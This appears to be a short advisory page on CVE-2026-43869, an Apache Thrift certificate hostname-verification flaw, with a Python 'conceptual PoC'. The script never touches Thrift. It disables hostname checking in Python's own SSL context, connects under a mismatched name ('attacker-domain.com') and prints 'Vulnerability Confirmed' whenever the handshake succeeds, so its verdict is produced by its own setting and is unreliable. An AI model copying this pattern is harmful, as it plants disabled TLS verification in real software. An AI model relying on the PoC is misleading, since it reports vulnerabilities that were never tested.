CVE-2026-43869 Apache Thrift证书主机名不匹配验证不当漏洞

import socket import ssl # Conceptual PoC for CVE-2026-43869 # This script demonstrates a connection attempt where hostname verification is bypassed. # In a vulnerable Apache Thrift client (< 0.23.0), the SSL socket might accept a certificate # issued for a different hostname (e.g., 'evil.com') when connecting to 'target.com'. def exploit_vulnerability(target_ip, target_port): hostname = "target.com" # Create a standard SSL context context = ssl.create_default_context() # Simulate the vulnerable behavior: disabling hostname check # NOTE: Actual vulnerability allows this bypass even if default context is used, # depending on specific Thrift configuration (e.g., TSSLTransportParameters). context.check_hostname = False context.verify_mode = ssl.CERT_REQUIRED print(f"[*] Attempting to connect to {target_ip}:{target_port}...") try: with socket.create_connection((target_ip, target_port)) as sock: # Wrap socket with SSL, manually setting server_hostname to demonstrate mismatch with context.wrap_socket(sock, server_hostname="attacker-domain.com") as ssock: print(f"[+] Connection established!") print(f"[+] Peer Certificate: {ssock.getpeercert()}") print(f"[!] Vulnerability Confirmed: Connection accepted despite hostname mismatch.") except Exception as e: print(f"[-] Connection failed: {e}") # exploit_vulnerability("127.0.0.1", 9090)